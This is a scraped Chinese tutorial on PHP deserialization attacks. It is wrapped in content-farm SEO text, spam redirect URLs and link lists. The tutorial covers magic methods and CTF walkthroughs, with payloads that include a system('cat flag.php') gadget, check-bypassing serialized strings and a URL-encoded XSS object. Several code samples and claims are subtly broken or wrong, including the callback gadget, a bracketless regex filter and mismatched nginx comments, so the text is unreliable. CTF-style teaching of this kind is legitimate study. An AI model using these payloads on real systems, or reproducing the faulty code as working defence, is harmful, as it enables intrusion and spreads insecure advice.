当前位置: 首页 > wzjs >正文

asp网站优化访问速度苏州城乡建设网站查询

asp网站优化访问速度,苏州城乡建设网站查询,网页升级访问中每天正常更新中,如何在百度上注册自己的网站一、序列化基础概念 1. 核心函数 函数作用 serialize()将对象/数据转换为可存储的字符串unserialize()将字符串还原为原始数据结构 2. 序列化格式说明 php // 示例:s:6:"luojie" s → 字符串类型标识 6 → 字符串长度 "luojie" → 实际内容 …

 一、序列化基础概念

1. 核心函数

 函数作用 
serialize()将对象/数据转换为可存储的字符串
unserialize()将字符串还原为原始数据结构

2. 序列化格式说明

php
// 示例:s:6:"luojie"
s → 字符串类型标识
6 → 字符串长度
"luojie" → 实际内容

二、无类序列化实战

1. 基础认证绕过

  • 目标代码:
php
$key = "luojie";
$str = $_GET'str';
if(unserialize($str) === $key) {echo "flag";
}

攻击步骤:

  • 1. 构造序列化字符串:`serialize('luojie')` → 输出 `s:6:"luojie"`
  • 2. 构造POC:`?str=s:6:"luojie"`

2. 空字符串绕过技巧

  • 目标代码:
php
$key = ""; // 后赋值导致实际值为空
$str = $_GET['str'];
if(unserialize($str) === $key) {echo "flag";
}

攻击步骤:

  • 1. 构造空序列化字符串:`s:0:""`
  • 2. 构造POC:`?str=s:0:""`

三、类序列化深度解析

1. 属性序列化规则
 访问修饰符序列化格式
public直接显示属性名和值
protected%00*%00属性名
private%00类名%00属性名
示例:
php
class Test {private $secret = "hidden";
}
echo serialize(new Test()); 
// 输出:O:4:"Test":1:{s:14:"%00Test%00secret";s:6:"hidden";}
2. 魔术方法详解
(1) 生命周期方法
  • __construct():对象创建时触发
  • __destruct():对象销毁时触发
(2) 数据操作方法
  • __get():访问不存在的公有/保护属性时触发
  • __set():设置不存在的公有/保护属性时触发
(3) 序列化控制
  • __sleep():序列化前触发(返回需序列化的属性数组)
  • __wakeup():反序列化后触发(常用于资源重初始化)
经典利用链:
php
class Exploit {public $callback;function __destruct() {$this->callback(); // 反序列化后自动执行回调函数}
}
$exploit = new Exploit();
$exploit->callback = "system('cat flag.php')";
echo serialize($exploit);

四、CTF实战案例解析

1. 2020网鼎杯AreUSerialz
漏洞点:
  • __destruct()中的process()方法逻辑缺陷
  • is_valid()函数仅过滤非ASCII字符
攻击步骤:
  • 1. 绕过 is_valid():使用纯ASCII字符构造payload
  • 2. 修改 op 参数为触发文件读取
  • 3. 构造payload: 
  phpclass FileHandler {public $op = "2";public $filename = "NewFlag.php";}echo serialize(new FileHandler());
2. 极客大挑战2019-PHP
漏洞点:
  • __toString() 方法未对属性进行过滤
  • 直接输出对象导致XSS
攻击步骤:
  • 1. 构造Exception对象:
php$e = new Exception("<script>alert(1)</script>");
  • 2. 序列化后传参: 

k=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3B...

五、防御策略指南

1. 输入验证
php
function safe_unserialize($data) {$filtered = preg_replace('/^A-Za-z0-9_/', '', $data);return unserialize($filtered);
}
 2. 禁用危险函数
php
disable_functions = system,passthru,exec,popen,proc_open,shell_exec
3. 安全配置
nginx#强制禁用file协议
add_header X-Content-Type-Options nosniff;
add_header Content-Security-Policy "default-src 'self'; script-src 'self';";
4. 代码审计要点
  • 1. 检查 __wakeup()是否被绕过
  • 2. 验证反序列化参数来源
  • 3. 限制敏感类实例化

六、延伸学习资源

  • 1.PHP官方序列化文档
  • 2.CVE-2016-7124漏洞分析
  • 3.0WASP序列化防御指南

本笔记通过真实案例讲解了PHP序列化漏洞的原理与利用,建议配合PHP沙盒环境(如Vulhub)进行实操演练。实际攻防中需注意不同PHP版本的差异性(如PHP7.4引入的Serialized Object Injection防护机制)。


文章转载自:

http://NXpCcJFK.bnLch.cn
http://yD0aCclp.bnLch.cn
http://MdXxhb5w.bnLch.cn
http://npD0Houv.bnLch.cn
http://SFGA17FX.bnLch.cn
http://o4cIyeah.bnLch.cn
http://I0uSdmop.bnLch.cn
http://sjgyhNHx.bnLch.cn
http://AcZzy89B.bnLch.cn
http://i0z0OPb4.bnLch.cn
http://tTDvwPYu.bnLch.cn
http://PtqEsHJv.bnLch.cn
http://BeXdUiuT.bnLch.cn
http://6WomsqVm.bnLch.cn
http://ystKmh7r.bnLch.cn
http://QV48aDHV.bnLch.cn
http://ou585DHZ.bnLch.cn
http://NYAxnbEv.bnLch.cn
http://Ns8HeFZM.bnLch.cn
http://BjyZcWRN.bnLch.cn
http://EIHVsnPH.bnLch.cn
http://GjznGdC1.bnLch.cn
http://SGYQo6tY.bnLch.cn
http://yjadbiWl.bnLch.cn
http://olzwMFKK.bnLch.cn
http://aXgIcqfu.bnLch.cn
http://RUAMTi0s.bnLch.cn
http://MngxYRo7.bnLch.cn
http://O4HrX171.bnLch.cn
http://OcLYPZBA.bnLch.cn
http://www.dtcms.com/wzjs/728660.html

相关文章:

  • 卫龙的网站做的污污分天长做网站公司
  • 抚州网站网站建设python策略网站怎么做
  • 深圳flash网站建设wordpress单本小说模板
  • 徐州建设局网站安全证中国建设工程机械网站
  • 外贸网站制作推广公司flash里面如何做网站链接
  • 安全狗网站白名单指什么落地页制作用什么软件
  • 广州市门户网站建设品牌电子商务网站建设对毕业设计
  • 网站建设构成技术要求谷歌浏览器下载安装
  • 网站策划书基本项目网站开发流程荆州
  • 建设企业网站企业网上银行登录楼市房价最新消息
  • 西安学校网站建设哪家专业如何在阿里云建设网站
  • 什么网站对护肤品测评做的很好太原网页
  • 常用的网站有多种类型安装 wordpress 500错误
  • 网站是否有备案做网站可以找设计公司吗
  • 建立个人网站用虚拟主机视频解析网站制作
  • .net最新网站开发wordpress 4.0模板
  • 怎样安装网站模板设计网站公司湖南岚鸿设计
  • 泰顺机械网站建设清理wordpress头部
  • 如何建设网站地图宁波seo关键词优化设计
  • 网站建站行业公司主页建设汕头网站建设优化
  • 网站如何做聚合页面贵州省住房和城乡建设厅网站官网
  • 网站开发市场分析企业互联网
  • 怎么让付费网站免费wordpress 修改footer
  • 最好的网站建设公司八种营销模式
  • 企业建设网站软件抖音企业服务平台
  • 网站该怎么找河源做网站优化
  • php做的网站 订单系统网页制作基础题
  • 有什么网站做热图建设银行网站表单清理
  • 重庆网站建设seowordpress数据库显示
  • 网站提供哪些服务关键字排名优化公司